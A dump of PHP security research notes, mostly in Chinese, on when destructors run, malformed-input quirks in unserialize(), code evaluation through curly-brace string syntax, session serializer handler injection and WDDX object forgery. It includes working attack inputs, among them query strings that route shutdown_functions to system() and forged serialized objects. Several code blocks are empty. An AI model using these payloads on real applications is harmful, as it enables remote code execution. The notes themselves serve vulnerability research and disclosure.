102 | 如果脚本执行过程中出现了 Fatal error 级别的错误,会先输出错误信息,然后调用 zend\_bailout 函数退出脚本执行过程,这又回到了上面提到的脚本执行结束的处理过程,所以这时会执行未在脚本执行过程中销毁的对象所定义的 \_\_destruct 方法。
103 |
104 | 其实这样的处理是不合逻辑的,发生 Fatal error 错误时属于 PHP 脚本未能正常执行,这时如果执行 \_\_destruct 方法,可能会出现一些问题。
105 |
106 | 所以 PHP 从 5.1.3 版本开始修正了这个问题:
107 |
108 | ``` php
109 | static void php_error_cb(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args)
110 | {
111 | ...
112 | switch (type) {
113 | case E_CORE_ERROR:
114 | if(!module_initialized) {
115 | /* bad error in module startup - no way we can live with this */
116 | exit(-2);
117 | }
118 | /* no break - intentionally */
119 | case E_ERROR:
120 | case E_RECOVERABLE_ERROR:
121 | case E_PARSE:
122 | case E_COMPILE_ERROR:
123 | case E_USER_ERROR:
124 | ...
125 | if (type == E_PARSE) {
126 | CG(parse_error) = 0;
127 | } else {
128 | /* restore memory limit */
129 | zend_set_memory_limit(PG(memory_limit) TSRMLS_CC);
130 | efree(buffer);
131 | zend_objects_store_mark_destructed(&EG(objects_store) TSRMLS_CC);
132 | zend_bailout();
133 | return;
134 | ```
135 | 在调用 zend\_bailout 函数前,调用了 zend\_objects\_store\_mark\_destructed 函数,这个函数会把 destructor\_called 的值设为 1,这样在脚本执行结束的处理过程中不会执行 \_\_destruct 方法。
136 |
137 | 因此在 PHP5 < 5.1.3 的运行环境下,当脚本执行过程发生 Fatal error 错误,会执行未在脚本执行过程中销毁的对象所定义的 \_\_destruct 方法,如下面的代码:
138 | ``` php
139 |
154 | ```
155 |
156 | #### PHP 脚本执行过程中对象被销毁
157 |
158 | 脚本执行过程中,当没有变量引用对象时,也就是对象的引用计数为 0(即 refcount=0)时,会调用 zend\_objects\_destroy\_object 函数执行该对象的 \_\_destruct 方法(如果定义了的话)并销毁对象。
159 | ``` php
160 |
183 | ```
184 |
185 | #### 调用 exit/die 语法结构使 PHP 脚本执行正常终止
186 |
187 | 看下 exit 语法结构的处理过程:
188 | ``` php
189 | void zend_do_exit(znode *result, const znode *message TSRMLS_DC) /* {{{ */
190 | {
191 | zend_op *opline = get_next_op(CG(active_op_array) TSRMLS_CC);
192 |
193 | opline->opcode = ZEND_EXIT;
194 | SET_NODE(opline->op1, message);
195 | SET_UNUSED(opline->op2);
196 |
197 | result->op_type = IS_CONST;
198 | Z_TYPE(result->u.constant) = IS_BOOL;
199 | Z_LVAL(result->u.constant) = 1;
200 | }
201 | ```
202 | 生成的 opcode 为 ZEND\_EXIT,看看 zend 虚拟机对这条 opcode 的处理:
203 | ``` php
204 | ZEND_VM_HANDLER(79, ZEND_EXIT, CONST|TMP|VAR|UNUSED|CV, ANY)
205 | {
206 | #if !defined(ZEND_VM_SPEC) || (OP1_TYPE != IS_UNUSED)
207 | USE_OPLINE
208 |
209 | SAVE_OPLINE();
210 | if (OP1_TYPE != IS_UNUSED) {
211 | zend_free_op free_op1;
212 | zval *ptr = GET_OP1_ZVAL_PTR(BP_VAR_R);
213 |
214 | if (Z_TYPE_P(ptr) == IS_LONG) {
215 | EG(exit_status) = Z_LVAL_P(ptr);
216 | } else {
217 | zend_print_variable(ptr);
218 | }
219 | FREE_OP1();
220 | }
221 | #endif
222 | zend_bailout();
223 | ZEND_VM_NEXT_OPCODE(); /* Never reached */
224 | }
225 | ```
226 | 输出信息,并调用 zend\_bailout 函数退出脚本执行过程,这又回到了上面提到的脚本执行结束的处理过程,所以这时会执行未在脚本执行过程中销毁的对象所定义的 \_\_destruct 方法。
227 |
228 | 因此,当调用 exit/die 语言结构使 PHP 脚本执行正常终止时,会执行未在脚本执行过程中销毁的对象所定义的 \_\_destruct 方法,如下面的代码:
229 | ``` php
230 |
244 | ```
245 |
246 | #### unserialize() 函数对非法格式序列化字符串反序列化处理的「特性」
247 |
248 | ``` php
249 |
274 | ```
275 | 从上面的代码可以看到,unserialize() 函数通过反序列化处理可以实例化对象,当初始化的对象没有变量引用时或脚本执行终止时就会执行该对象的 \_\_destruct 方法。
276 |
277 | 这些特点属于 unserialize() 函数的正常功能,不是本文讨论的重点。这里主要讨论 unserialize() 函数对非法格式序列化字符串反序列化处理的「特性」,利用该「特性」可以立即执行 \_\_destruct 方法,而不受脚本中代码处理过程的影响。
278 |
279 | 先来看看 unserialize() 函数是如何进行反序列化的:
280 | ``` php
281 | PHP_FUNCTION(unserialize)
282 | {
283 | char *buf = NULL;
284 | int buf_len;
285 | const unsigned char *p;
286 | php_unserialize_data_t var_hash;
287 | zval *consumed = NULL;
288 |
289 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &buf, &buf_len, &consumed) == FAILURE) {
290 | RETURN_FALSE;
291 | }
292 |
293 | if (buf_len == 0) {
294 | RETURN_FALSE;
295 | }
296 |
297 | p = (const unsigned char*) buf;
298 | PHP_VAR_UNSERIALIZE_INIT(var_hash);
299 | if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
300 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
301 | zval_dtor(return_value);
302 | if (!EG(exception)) {
303 | php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
304 | }
305 | RETURN_FALSE;
306 | }
307 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
308 | ```
309 | 调用 php\_var\_unserialize 函数进行反序列化,return\_value 会指向反序列化过程中生成的变量,如果反序列化失败,会调用 zval\_dtor 销毁 return\_value,由于此时反序列化过程中生成的变量引用计数为 0,所以反序列化过程中生成的变量也会销毁。
310 |
311 | 来看下 php\_var\_unserialize 函数对一些特定格式的字符串反序列化处理的代码(为了便于理解,这里分析的是 re2c 词法分析器的规则文件,而非其生成的 C 文件):
312 | ``` c
313 | /*!re2c
314 | uiv = [+]? [0-9]+;
315 | iv = [+-]? [0-9]+;
316 | nv = [+-]? ([0-9]* "." [0-9]+|[0-9]+ "." [0-9]*);
317 | nvexp = (iv | nv) [eE] [+-]? iv;
318 | any = [\000-\377];
319 | object = [OC];
320 | */
321 | ...
322 | PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
323 | {
324 | const unsigned char *cursor, *limit, *marker, *start;
325 | zval **rval_ref;
326 |
327 | limit = max;
328 | cursor = *p;
329 | ...
330 | "a:" uiv ":" "{" {
331 | long elements = parse_iv(start + 2);
332 | /* use iv() not uiv() in order to check data range */
333 | *p = YYCURSOR;
334 |
335 | if (elements < 0) {
336 | return 0;
337 | }
338 |
339 | INIT_PZVAL(*rval);
340 |
341 | array_init_size(*rval, elements);
342 |
343 | if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_ARRVAL_PP(rval), elements, 0)) {
344 | return 0;
345 | }
346 |
347 | return finish_nested_data(UNSERIALIZE_PASSTHRU);
348 | }
349 | ...
350 | object ":" uiv ":" ["] {
351 | size_t len, len2, len3, maxlen;
352 | long elements;
353 | char *class_name;
354 | zend_class_entry *ce;
355 | zend_class_entry **pce;
356 | ...
357 | len2 = len = parse_uiv(start + 2);
358 | maxlen = max - YYCURSOR;
359 | if (maxlen < len || len == 0) {
360 | *p = start + 2;
361 | return 0;
362 | }
363 |
364 | class_name = (char*)YYCURSOR;
365 |
366 | YYCURSOR += len;
367 |
368 | if (*(YYCURSOR) != '"') {
369 | *p = YYCURSOR;
370 | return 0;
371 | }
372 | if (*(YYCURSOR+1) != ':') {
373 | *p = YYCURSOR+1;
374 | return 0;
375 | }
376 |
377 | len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
378 | if (len3 != len)
379 | {
380 | *p = YYCURSOR + len3 - len;
381 | return 0;
382 | }
383 |
384 | class_name = estrndup(class_name, len);
385 | ...
386 | *p = YYCURSOR;
387 | ...
388 | elements = object_common1(UNSERIALIZE_PASSTHRU, ce);
389 | ...
390 | return object_common2(UNSERIALIZE_PASSTHRU, elements);
391 | }
392 | ```
393 | 经 serialize() 函数序列化的对象应该是如下格式的字符串:
394 | ``` php
395 | O:len:"classname":elements:{i:x;s:x:"xxx";s:x:"xxx";a:x:{}...}
396 | ```
397 | 这其中 len 是实例化对象的类的名字长度,是一个非负数;elements 是对象包含的元素个数,可以是任意整数,`{}` 中的字符串是对象包含的所有元素,每个元素包括元素名和元素值,合法的元素名反序列化后生成的变量类型应该是整形或字符串,而合法的元素值发序列化后生成的变量可以是任意类型。
398 | 而经 serialize() 函数序列化的数组应该是如下格式的字符串:
399 | ``` php
400 | a:elements:{i:x;s:x:"xxx";s:x:"xxx";a:x:{}...}
401 | ```
402 | 这其中 elements 是数组包含的元素个数,是一个非负数。
403 |
404 | 由上面的 php\_var\_unserialize 函数的代码片段可以看到,如果匹配到 ```a:elements:{``` 这样格式的字符串,会调用 process\_nested\_data 函数处理,具体的处理过程稍后在分析,先来看匹配到 ```O:len:"classname":``` 这样格式的字符串的处理过程,这时会先后调用 object\_common1 函数和 object\_common2 函数进行处理。
405 | ``` c
406 | static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
407 | {
408 | long elements;
409 |
410 | elements = parse_iv2((*p) + 2, p);
411 |
412 | (*p) += 2;
413 |
414 | object_init_ex(*rval, ce);
415 | return elements;
416 | }
417 | ```
418 | object\_common1 函数先取得 elements,并跳过两个字符,这样的处理是为了跳过 `:{` 字符串已备下一步的处理(这样的处理有个小问题,因为没有进行严格匹配,这里可以是随便两个字符)。然后会调用 object\_init\_ex 函数初始化对象,将对象存入 EG(objects\_store),并把 return\_value 指向生成的对象。
419 | ``` c
420 | static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
421 | {
422 | zval *retval_ptr = NULL;
423 | zval fname;
424 |
425 | if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {
426 | return 0;
427 | }
428 |
429 | if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
430 | zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
431 | INIT_PZVAL(&fname);
432 | ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
433 | BG(serialize_lock)++;
434 | call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC);
435 | BG(serialize_lock)--;
436 | }
437 |
438 | if (retval_ptr) {
439 | zval_ptr_dtor(&retval_ptr);
440 | }
441 |
442 | if (EG(exception)) {
443 | return 0;
444 | }
445 |
446 | return finish_nested_data(UNSERIALIZE_PASSTHRU);
447 |
448 | }
449 | ```
450 | object\_common2 函数会调用 process\_nested\_data 函数反序列化对象包含的元素。
451 | ``` c
452 | static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
453 | {
454 | while (elements-- > 0) {
455 | zval *key, *data, **old_data;
456 |
457 | ALLOC_INIT_ZVAL(key);
458 |
459 | if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) {
460 | zval_dtor(key);
461 | FREE_ZVAL(key);
462 | return 0;
463 | }
464 |
465 | if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) {
466 | zval_dtor(key);
467 | FREE_ZVAL(key);
468 | return 0;
469 | }
470 |
471 | ALLOC_INIT_ZVAL(data);
472 |
473 | if (! (&data, p, max, var_hash TSRMLS_CC)) {
474 | zval_dtor(key);
475 | FREE_ZVAL(key);
476 | zval_dtor(data);
477 | FREE_ZVAL(data);
478 | return 0;
479 | }
480 |
481 | if (!objprops) {
482 | switch (Z_TYPE_P(key)) {
483 | case IS_LONG:
484 | if (zend_hash_index_find(ht, Z_LVAL_P(key), (void **)&old_data)==SUCCESS) {
485 | var_push_dtor(var_hash, old_data);
486 | }
487 | zend_hash_index_update(ht, Z_LVAL_P(key), &data, sizeof(data), NULL);
488 | break;
489 | case IS_STRING:
490 | if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) {
491 | var_push_dtor(var_hash, old_data);
492 | }
493 | zend_symtable_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof(data), NULL);
494 | break;
495 | }
496 | } else {
497 | /* object properties should include no integers */
498 | convert_to_string(key);
499 | zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data,
500 | sizeof data, NULL);
501 | }
502 |
503 | zval_dtor(key);
504 | FREE_ZVAL(key);
505 |
506 | if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
507 | (*p)--;
508 | return 0;
509 | }
510 | }
511 |
512 | return 1;
513 | }
514 | ```
515 | finish\_nested\_data 函数对数组包含的元素或对象包含的元素进行处理,调用 php\_var\_unserialize 函数分别对元素名和元素值进行反序列化,如果元素名或者元素值反序列化失败,返回 0;如果反序列化元素值后生成的变量类型不是整型或者字符串,返回 0;如果每个元素不是以 `;` 或者 `}` 结尾,返回 0。
516 |
517 | 回到 object\_common2 函数,如果包含的元素成功处理完成,会调用 finish\_nested\_data 函数。
518 | ``` c
519 | static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
520 | {
521 | if (*((*p)++) == '}')
522 | return 1;
523 |
524 | #if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE
525 | zval_ptr_dtor(rval);
526 | #endif
527 | return 0;
528 | }
529 | ```
530 | 如果后面的字符不匹配 `}` 的话,会返回 0。
531 |
532 | 综上所述,如果 process\_nested\_data 函数或者 finish\_nested\_data 函数的调用过程返回 0,unserialize 函数的反序列化过程就会失败,而之前通过对 ```O:uiv:"classname":``` 这部分字符串的反序列化已经初始化了相应的对象,但是因为 return\_value 被销毁,对象的引用计数为 0,对象也会被销毁,如果实例化对象的类中定义了 \_\_destruct 方法的话,\_\_destruct 方法将会执行。
533 |
534 | 因此,利用 unserialize() 的这个特性,可以让 \_\_destruct 方法立即执行,如下代码:
535 | ``` php
536 |
556 | ```
557 | 同时从上面的分析还可以发现另外一个有意思的特性,如下代码:
558 | ``` php
559 |
569 | // object(cywm528)#1 (0) {
570 | // }
571 | // }
572 |
573 | ?>
574 | ```
575 | 可以看到,并没有严格匹配 `:{`,可以用任意两个字符替代并成功反序列化,这和 serialize() 序列化对象的处理是不一致的。
576 |
577 | #### 潜在安全隐患
578 |
579 | ``` php
580 |
603 | ```
604 |
605 | 上面的代码,如果可以控制 $shutdown\_functions,就可以利用 Core 类中的 \_\_destruct() 方法来执行任意代码,但 $shutdown\_functions 是有初始化的,所以必须在 $shutdown\_functions 初始化前执行 \_\_destruct() 方法才能利用。
606 |
607 | 根据上面对析构函数执行阶段的分析,这段代码可以有利用两个方式:
608 |
609 | i)利用 require 包含不存在的文件造成 Fatal error 错误,在 $shutdown\_functions 初始化前执行 \_\_destruct()。
610 |
611 | 在 PHP5 < 5.1.3 的运行环境下
612 |
613 | ``` php
614 | foo.php?filename=cywm528&shutdown_functions[function]=system&shutdown_functions[arguments]=id
615 | ```
616 |
617 | ii)利用 unserialize() 函数对非法格式序列化字符串进行反序列化的「特性」在 $shutdown\_functions 初始化之前执行 \_\_destruct()。
618 | ``` php
619 | foo.php?id=O:4:"Core":&shutdown_functions[function]=system&shutdown_functions[arguments]=id
620 | ```
621 |
622 | 再看下面的代码片段:
623 | ``` php
624 | unset_globals($_POST);
637 | $this->unset_globals($_GET);
638 | $this->unset_globals($_FILES);
639 | $this->unset_globals($_COOKIE);
640 | }
641 | }
642 |
643 | function unset_globals($array) {
644 | if(!is_array($array)) {
645 | return;
646 | }
647 |
648 | foreach(array_keys($array) as $key) {
649 | unset($GLOBALS[$key]);
650 | }
651 | }
652 |
653 | function __destruct() {
654 | global $shutdown_functions;
655 |
656 | if($shutdown_functions && is_array($shutdown_functions)) {
657 | call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']);
658 | }
659 | }
660 | }
661 |
662 | $core = new Core;
663 |
664 | if ($_GET['filename']) {
665 | require basename($_GET['filename']);
666 | }
667 |
668 | $id = unserialize($_GET['id']);
669 |
670 | $shutdown_functions = array();
671 |
672 | ?>
673 | ```
674 |
675 | 在取消全局变量的情况下,利用 require 包含不存在的文件造成 Fatal error 错误以及利用 unserialize() 函数对非法格式序列化字符串进行反序列化的「特性」虽能在 $shutdown\_functions 初始化前执行 \_\_destruct() 方法,但无法控制 $shutdown\_functions。
676 |
677 | 这时可以利用 exit 语言结构在取消全局变量前退出脚本执行过程,并执行 Core 类中的 \_\_destruct() 方法,因为没有取消全局,$shutdown\_functions 也是可以控制的。
678 | ``` php
679 | foo.php?GLOBALS=1&shutdown_functions[function]=system&shutdown_functions[arguments]=id
680 | ```
681 |
--------------------------------------------------------------------------------
/research/pch-012.md:
--------------------------------------------------------------------------------
1 | ### New feature of double-quoted string's complex-curly syntax in PHP >= 5.5
2 | > [@cywm528](https://gist.github.com/cywm528) date:2014-03-02
3 |
4 | I found a new feature of double-quoted string's complex-curly syntax in PHP >= 5.5
5 | zend\_language\_scanner.l in PHP <= 5.4:
6 |
7 | ``` php
8 | {LABEL} {
9 | zend_copy_value(zendlval, yytext, yyleng);
10 | zendlval->type = IS_STRING;
11 | yy_pop_state(TSRMLS_C);
12 | yy_push_state(ST_IN_SCRIPTING TSRMLS_CC);
13 | return T_STRING_VARNAME;
14 | }
15 | ```
16 |
17 | zend\_language\_scanner.l in PHP >= 5.5:
18 |
19 | ``` php
20 | {LABEL}[[}] {
21 | yyless(yyleng - 1);
22 | zend_copy_value(zendlval, yytext, yyleng);
23 | zendlval->type = IS_STRING;
24 | yy_pop_state(TSRMLS_C);
25 | yy_push_state(ST_IN_SCRIPTING TSRMLS_CC);
26 | return T_STRING_VARNAME;
27 | }
28 | ```
29 |
30 | Well, php code can be evaluated in double-quoted string, like this:
31 |
32 | ``` php
33 | // PHP >= 4.3, and maybe older varsion?
34 | "{${phpinfo()}}";
35 | "{$phpinfo[phpinfo()]}";
36 | "${${phpinfo()}}";
37 | "${@phpinfo()}";
38 | "${ phpinfo()}";
39 | "${( string )phpinfo()}";
40 | "${phpinfo[phpinfo()]}";
41 |
42 | // this is new feature in PHP >= 5.5
43 | "${phpinfo()}";
44 | ```
45 |
--------------------------------------------------------------------------------
/research/pch-013.md:
--------------------------------------------------------------------------------
1 | ### PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.11.11
3 |
4 | #### PHP Session 序列化及反序列化处理器
5 | PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
6 |
7 | 处理器 |对应的存储格式
8 | ------------------------------|-------------
9 | php |键名 + 竖线 + 经过 serialize() 函数反序列处理的值
10 | php_binary |键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
11 | php_serialize
(php>=5.5.4)|经过 serialize() 函数反序列处理的数组
12 |
13 | #### 配置选项 session.serialize_handler
14 |
15 | PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器:
16 |
17 | ```php
18 | session.serialize_handler "php" PHP_INI_ALL
19 | ```
20 |
21 | #### 安全隐患
22 |
23 | 通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:)
24 |
25 | ``` php
26 | $_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
27 | ```
28 |
29 | 例如上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:
30 |
31 | ``` php
32 | a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
33 | ```
34 |
35 | 在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:
36 |
37 | ``` php
38 | // var_dump($_SESSION);
39 | array(1) {
40 | ["a:1:{s:4:"ryat";s:20:""]=>
41 | object(stdClass)#1 (0) {
42 | }
43 | }
44 | ```
45 |
46 | 可以看到,通过注入 `|` 字符伪造了对象的序列化数据,成功实例化了 stdClass 对象:)
47 |
48 | #### 实际利用
49 |
50 | ##### i)当 session.auto_start=On 时:
51 |
52 | 当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:
53 |
54 | ``` php
55 | //foo.php
56 |
57 | if (ini_get('session.auto_start')) {
58 | session_destroy();
59 | }
60 |
61 | ini_set('session.serialize_handler', 'php_serialize');
62 | session_start();
63 |
64 | $_SESSION['ryat'] = $_GET['ryat'];
65 | ```
66 |
67 | 当第一次访问该脚本,并提交数据如下:
68 |
69 | ``` php
70 | foo.php?ryat=|O:8:"stdClass":0:{}
71 | ```
72 |
73 | 脚本会按照 php_serialize 处理器的序列化格式存储数据:
74 |
75 | ``` php
76 | a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
77 | ```
78 |
79 | 当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)
80 |
81 | 这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。
82 |
83 | #### ii)当 session.auto_start=Off 时:
84 |
85 | 当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:
86 |
87 | ``` php
88 | //foo1.php
89 |
90 | ini_set('session.serialize_handler', 'php_serialize');
91 | session_start();
92 |
93 | $_SESSION['ryat'] = $_GET['ryat'];
94 |
95 | //foo2.php
96 |
97 | ini_set('session.serialize_handler', 'php');
98 | //or session.serialize_handler set to php in php.ini
99 | session_start();
100 |
101 | class ryat {
102 | var $hi;
103 |
104 | function __wakeup() {
105 | echo 'hi';
106 | }
107 | function __destruct() {
108 | echo $this->hi;
109 | }
110 | }
111 | ```
112 |
113 | 当访问 foo1.php 时,提交数据如下:
114 |
115 | ``` php
116 | foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
117 | ```
118 |
119 | 脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 \_\_wakeup 方法和 \_\_destruct 方法:)
120 |
121 | #### iii)其他利用方式?
122 |
123 | 请自行发掘:)
124 |
--------------------------------------------------------------------------------
/research/pch-014.md:
--------------------------------------------------------------------------------
1 | ### PHP WDDX Serializier Data Injection Vulnerability
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.11.2
3 |
4 | PHP 在把数组序列化为 WDDX 结构的过程中,没有对数组的键名严格限制,导致可以伪造对象的 WDDX 结构。
5 |
6 | i 序列化对象
7 | -------------------
8 |
9 | PHP 在把对象序列化为 WDDX 结构时,会做如下处理:
10 |
11 | ``` php
12 | static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
13 | ...
14 | php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
15 | snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
16 | php_wddx_add_chunk(packet, tmp_buf);
17 | php_wddx_add_chunk_static(packet, WDDX_STRING_S);
18 | php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
19 | php_wddx_add_chunk_static(packet, WDDX_STRING_E);
20 | php_wddx_add_chunk_static(packet, WDDX_VAR_E);
21 | }
22 | ```
23 |
24 | 比如下面代码中的变量 $obj:
25 |
26 | ``` php
27 | class ryat {
28 | var $hi;
29 | function __wakeup() {
30 | echo 'hi';
31 | }
32 | function __destruct() {
33 | echo $this->hi, "\n";
34 | }
35 | }
36 |
37 | $obj = new ryat();
38 | $obj->hi = 'ryat';
39 |
40 | var_dump(wddx_serialize_value($obj));
41 | ```
42 |
43 | 经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
44 |
45 | ``` php
46 | ryatryat
47 | ```
48 |
49 | ii 序列化数组
50 | -------------------
51 |
52 | PHP 把数组序列化为 WDDX 结构时,会做如下处理:
53 |
54 | ``` php
55 | static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
56 | {
57 | ...
58 | target_hash = HASH_OF(arr);
59 | ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
60 | if (key) {
61 | is_struct = 1;
62 | break;
63 | }
64 |
65 | if (idx != ind) {
66 | is_struct = 1;
67 | break;
68 | }
69 | ind++;
70 | } ZEND_HASH_FOREACH_END();
71 |
72 | if (is_struct) {
73 | php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
74 | } else {
75 | snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
76 | php_wddx_add_chunk(packet, tmp_buf);
77 | }
78 |
79 | ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
80 | if (ent == arr) {
81 | continue;
82 | }
83 |
84 | if (is_struct) {
85 | if (key) {
86 | php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
87 | } else {
88 | key = zend_long_to_str(idx);
89 | php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
90 | zend_string_release(key);
91 | }
92 | } else {
93 | php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
94 | }
95 | } ZEND_HASH_FOREACH_END();
96 |
97 | if (is_struct) {
98 | php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
99 | } else {
100 | php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
101 | }
102 | }
103 | ...
104 | void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
105 | {
106 | ...
107 | if (name) {
108 | char *tmp_buf;
109 | zend_string *name_esc;
110 |
111 | name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
112 | tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
113 | snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
114 | php_wddx_add_chunk(packet, tmp_buf);
115 | efree(tmp_buf);
116 | zend_string_release(name_esc);
117 | }
118 | ```
119 |
120 | 从上面的代码可以看到,数组序列化后的 WDDX 结构主要分为两种,一种是没有指定键名的数组的处理,比如下面代码中的变量 $arr:
121 |
122 | ``` php
123 | $arr = array('hi', 'ryat');
124 | var_dump(wddx_serialize_value($arr));
125 | ```
126 |
127 | 经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
128 |
129 | ``` php
130 | hiryat
131 | ```
132 |
133 | 另一种则是对指定键名的数组的处理,比如下面代码中的变量 $arr:
134 |
135 | ``` php
136 | $arr = array('hi'=>'hi', 'ryat'=>'ryat');
137 | var_dump(wddx_serialize_value($arr));
138 | ```
139 |
140 | 经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
141 |
142 | ``` php
143 | hiryat
144 | ```
145 |
146 | iii 伪造对象的 WDDX 结构
147 | -------------------
148 |
149 | 通过上面的分析,简单了解 WDDX 结构存储 PHP 数组和对象的具体格式,对象的存储格式和指定键名的数组的存储格式非常接近,区别只在于,对象的存储格式多了对类名的存储:
150 |
151 | ``` php
152 | ryat
153 | ```
154 |
155 | PHP 在把数组序列化 WDDX 结构过程中,仅仅调用了 php_escape_html_entities() 函数处理,然后直接构造 WDDX_VAR_S:
156 |
157 | ``` c
158 | #define WDDX_VAR_S ""
159 | ```
160 |
161 | 那么如果数组中存在一个值为 php_class_name 的键名,就可以构造出:
162 |
163 | ``` php
164 | ryat
165 | ```
166 |
167 | 这时序列化的 WDDX 结构就和对象的一样了,如下面代码中的变量 $arr:
168 |
169 | ``` php
170 | $arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');
171 | var_dump(wddx_serialize_value($arr));
172 | ```
173 |
174 | 经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
175 |
176 | ``` php
177 | ryatryat
178 | ```
179 |
180 | 可以看到,序列化的 WDDX 结构和第一个例子中的 $obj 对象序列化的 WDDX 结构是一样的,也就说,通过一个特殊的数组伪造了一个对象的 WDDX 结构:)
181 |
182 | iv 安全隐患
183 | -------------------
184 |
185 | PHP 反序列化 WDDX 结构的处理过程类似于 unserialize() 函数,通过对特定的 WDDX 结构反序列化,可以生成一个对象,并执行类的 \_\_wakeup() 方法(如果存在的话),在对象被销毁或者脚本执行结束时会执行类的 \_\_destruct() 方法(如果存在的话),那么安全隐患随之而来。而比 unserialize() 函数更危险的是,反序列化过程和序列化过程都可能存在安全问题:)
186 |
187 | #### i) 利用 wddx_deserialize() 函数
